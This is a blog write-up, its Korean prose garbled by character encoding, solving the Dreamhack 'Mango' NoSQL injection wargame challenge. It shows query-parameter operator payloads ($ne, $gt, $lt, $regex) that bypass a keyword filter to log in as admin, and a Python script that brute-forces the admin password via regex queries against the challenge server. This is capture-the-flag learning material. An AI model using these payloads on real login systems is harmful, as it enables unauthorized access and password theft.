๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/DreamHack

Dreamhack - ์›Œ๊ฒŒ์ž„, Mango ํ’€์ด

by Janger 2021. 12. 9.
728x90
๋ฐ˜์‘ํ˜•

https://dreamhack.io/wargame/challenges/90/

 

Mango

Description ์ด ๋ฌธ์ œ๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ €์žฅ๋œ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค. ํ”Œ๋ž˜๊ทธ๋Š” admin ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ž…๋‹ˆ๋‹ค. ํ”Œ๋ž˜๊ทธ์˜ ํ˜•์‹์€ DH{...} ์ž…๋‹ˆ๋‹ค. {'uid': 'admin', 'upw': 'DH{32alphanumeric}'} Reference Serv

dreamhack.io

 

NOSQL Injection์— ๊ด€ํ•œ ๋ฌธ์ œ๋‹ค. 

 

 

ํŽ˜์ด์ง€๋กœ ๋“ค์–ด๊ฐ€๋‹ˆ๊น ๋‹ค์งœ๊ณ ์งœ /login์—์„œ ๋กœ๊ทธ์ธ์„ ํ•˜๋ผ๊ณ  ๋œฌ๋‹ค. 

 

 

์ฃผ์†Œ์— ๋ณต์‚ฌ ๋ถ™์—ฌ๋„ฃ๊ธฐ๋ฅผ ํ•ด๋ณด๋‹ˆ guest๋กœ ๋กœ๊ทธ์ธ์ด ๋๋Š”์ง€ ํ™”๋ฉด์—๋Š” guest๋งŒ ๋œธ

 

 

๋งŒ์•ฝ์— uid ๊ฐ’์œผ๋กœ admin์„ ์ฃผ๊ฒŒ ๋˜๋ฉด ํŽ˜์ด์ง€์—๋Š” filter๋ผ๊ณ  ๋œจ๊ฒŒ ๋œ๋‹ค. 

๋ฌธ์ œ์—์„œ ์ œ๊ณตํ•˜๋Š” ์„œ๋ฒ„ ํŒŒ์ผ์„ ํ™•์ธํ•ด๋ณด๋ฉด "admin", "admi", "dh"๋ฅผ ํ‚ค์›Œ๋“œ๋ฅผ ์ฐจ๋‹จํ•˜๊ณ  ์žˆ๋‹ค. (DH๋Š” ํ”Œ๋ž˜๊ทธ์˜ ์ ‘๋‘์‚ฌ)

 

 

 

 

๋˜ ์•„๋ฌด๋Ÿฐ ๊ฐ’์„ ๋„ฃ์œผ๋ฉด undefined๊ฐ€ ๋‚˜์˜ด

 

์ด๊ฒƒ์„ ํ†ตํ•ด ์ž๋™ํ™” ๋„๊ตฌ๋ฅผ ์ด์šฉํ•ด ๋กœ๊ทธ์ธ์„ ํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•  ๊ฒƒ ๊ฐ™๋‹ค. 

 

 

์ด์ œ NOSQL Injection์„ ์‹œ๋„ํ•ด ๋ณด๊ฒ ๋‹ค. 

 

๋ฐฉ๋ฒ•์€ ์ด๋ ‡๋‹ค. 

์ „๋‹ฌํ•˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ์ด๋ฆ„ ex) uid์— ๋Œ€๊ด„ํ˜ธ๋ฅผ ๋„ฃ์–ด ์กฐ๊ฑด์‹์„ ๋„ฃ์–ด์ฃผ๋ฉด ๋œ๋‹ค. -> uid[$ne]

 

๊ฒŒ๋‹ค๊ฐ€ ์ด๋Ÿฐ ์กฐ๊ฑด์„ ๊ฐ€์ง„ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์—ฌ๋Ÿฌ ๊ฐœ ์ „๋‹ฌ์ด ๊ฐ€๋Šฅํ•จ

ex) uid[$ne]=&uid[$gt]=&uid[$lt]

 

 

๊ด€๋ จ ์กฐ๊ฑด์‹๋“ค์€ ์•„๋ž˜ ๋งํฌ์—์„œ ์ฐธ์กฐ:

https://book.hacktricks.xyz/pentesting-web/nosql-injection

 

NoSQL injection - HackTricks

Brute-force login usernames and passwords from POST login

book.hacktricks.xyz

๋Œ€๋žต

[$ne] : ๊ฐ™์ง€ ์•Š์„ ๊ฒฝ์šฐ(NOT),

[$regex] : ์ •๊ทœํ‘œํ˜„์‹, 

[$eq] : ๊ฐ™๋‹ค(=)

[$lt] : ์ž‘๋‹ค(<)

[$gt] : ํฌ๋‹ค(>)

๊ฐ€ ์กด์žฌํ•จ. 

 

์ด ์กฐ๊ฑด์‹์„ ์ด์šฉํ•ด์„œ ํŽ˜์ด์ง€์— admin์œผ๋กœ ๋กœ๊ทธ์ธ์„ ํ•˜๋„๋ก ๋งŒ๋“ค์–ด ๋ณด์ž 

 

guest๋ฅผ ์ œ์™ธํ•œ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธ์„ ํ•˜๊ณ  ์‹ถ์„ ๊ฒฝ์šฐ์—” [$ne]๋ฅผ ์ด์šฉํ•ด ๋ณด๋ฉด 

?uid[$ne]=guest&upw[$ne]=

์ด๋Ÿฐ ์‹์œผ๋กœ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ „๋‹ฌ์„ ํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

 

ํ•˜์ง€๋งŒ

guest๋ฅผ ์ œ์™ธํ•œ ์‚ฌ์šฉ์ž๊ฐ€ admin ๋ง๊ณ  dreamhack์ด๋ผ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋” ์กด์žฌ๋ฅผ ํ•œ๋‹ค๋Š” ๊ฒƒ 

 

 

์ด [$ne]๋งŒ์œผ๋กœ๋Š” ์ด ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ๊ฐ€ ์–ด๋ ค์›€์œผ๋กœ ๋” ๋‹ค๋ฅธ ์กฐ๊ฑด๋“ค์„ ์ค˜๋ณด์•˜๋‹ค. 

๋ฐ”๋กœ ์ฐพ๊ณ ์ž ํ•˜๋Š” ์•„์ด๋””๊ฐ€ dreamhack์— ํฌํ•จ์„ ํ•˜์ง€ ์•Š๋„๋ก ๋งŒ๋“œ๋Š” ๊ฒƒ. 

 

 

admin์„ ๊ทธ๋Œ€๋กœ ์“ฐ๋ฉด filter๊ฐ€ ๊ฑธ๋ฆฌ๊ธฐ ๋•Œ๋ฌธ์— [$gt]์— adm๋งŒ ๋Œ€์ž…ํ•ด์ฃผ๊ณ , 

[$lt]์—๋Š” dreamhack ํ˜น์€ ์ด๋‹ˆ์…œ d๋งŒ์„ ๋„ฃ์–ด์ค˜ ๋ดค๋‹ค. 

 

๊ทธ๋žฌ๋”๋‹ˆ ์งœ์ž” admin์œผ๋กœ ๋กœ๊ทธ์ธ์„ ํ•˜๋Š”๋ฐ ์„ฑ๊ณต

 

 

 

์ด์ œ ๋‚จ์€ ๊ฑด ํŒจ์Šค์›Œ๋“œ๋ฅผ ์•Œ์•„๋‚ด๋Š” ๊ฒƒ.

 

 

ํŒจ์Šค์›Œ๋“œ๋Š” ๋ฌธ์ œ์—์„œ๋„ ๋‚˜์™€์žˆ๋“ฏ์ด DH{๋กœ ์‹œ์ž‘์„ ํ•œ๋‹ค๊ณ  ํ•œ๋‹ค. 

ํ•˜์ง€๋งŒ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ upw์— DH๋ฅผ ๋„ฃ์–ด์ฃผ๊ฒŒ ๋˜๋ฉด ๋˜ ํ•„ํ„ฐ์— ๊ฑธ๋ฆฌ๊ฒŒ ๋œ๋‹ค. 

 

ํ•ด๋‹ต์€ ๊ฐ„๋‹จํ•˜๋‹ค. ์ •๊ทœํ‘œํ˜„์‹์„ ์ด์šฉํ•˜๋Š” ๊ฒƒ. 

 

๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ํŒŒ๋ผ๋ฏธํ„ฐ์— [$regex]๋ฅผ ๋„ฃ์–ด ์ •๊ทœํ‘œํ˜„์‹ ์กฐ๊ฑด์„ ๋„ฃ์–ด์ค€๋‹ค. ex) upw[$regex]

 

 

import requests

parameter = None

result = None

words = "0123456789abcdefghijklmnopqrstuvwxyz"

solve = ""
	
for i in range(32):
	

	for ascii in words:
	
		print(i+1,") Try:", ascii )
		
		parameter = "?uid[$gt]=adm&uid[$lt]=d&uid[$ne]=guest&upw[$regex]=[aA-zZ]{2}{" + ( solve + ascii)
		url = "http://host1.dreamhack.games:9785/login" + parameter
		result = requests.get(url).text
		print(parameter)
		print(result)
		if "admin" in result:
			solve += ascii
			print("catch => ", ascii, "|", solve)
			break
			
			
print("Flag:",solve)

๊ทธ๋‹ค์Œ ์•Œ์•„์„œ ์ž๋™ํ™” ๋„๊ตฌ๋ฅผ ์งœ์ค˜์„œ ์‹คํ–‰

ํ•ด๋ณด๋‹ˆ๊น ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ž˜ ๋‚˜์™”๋‹ค. 

728x90
๋ฐ˜์‘ํ˜•